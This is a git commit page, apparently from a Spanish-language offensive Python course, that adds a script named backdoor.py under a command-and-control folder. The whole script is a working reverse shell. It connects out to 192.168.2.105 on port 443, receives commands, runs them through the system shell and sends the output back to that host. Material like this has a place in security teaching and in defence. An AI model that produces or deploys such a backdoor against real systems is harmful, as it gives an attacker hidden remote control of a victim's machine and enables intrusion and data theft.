Add backdoor
This commit is contained in:
parent
d1a05d481b
commit
6ae9c26e65
43
python-ofensivo/15_hacking/11_c2/backdoor.py
Normal file
43
python-ofensivo/15_hacking/11_c2/backdoor.py
Normal file
@ -0,0 +1,43 @@
|
||||
# /usr/bin/env python3
|
||||
"""
|
||||
Backdoor
|
||||
"""
|
||||
|
||||
import signal
|
||||
import socket
|
||||
import subprocess
|
||||
|
||||
|
||||
def handler(signum, frame):
|
||||
"""
|
||||
Manejador de señales
|
||||
"""
|
||||
print("\n\n[!] Saliendo...")
|
||||
exit(1)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, handler)
|
||||
|
||||
|
||||
def run_command(command):
|
||||
"""
|
||||
Ejecutar comandos
|
||||
"""
|
||||
|
||||
command_output = subprocess.check_output(command, shell=True)
|
||||
|
||||
return command_output.decode("cp850")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("192.168.2.105", 443))
|
||||
|
||||
while True:
|
||||
command = s.recv(1024).decode().strip()
|
||||
command_output = run_command(command)
|
||||
|
||||
s.send(b"" + command_output.encode() + b"")
|
||||
|
||||
s.close()
|
Loading…
Reference in New Issue
Block a user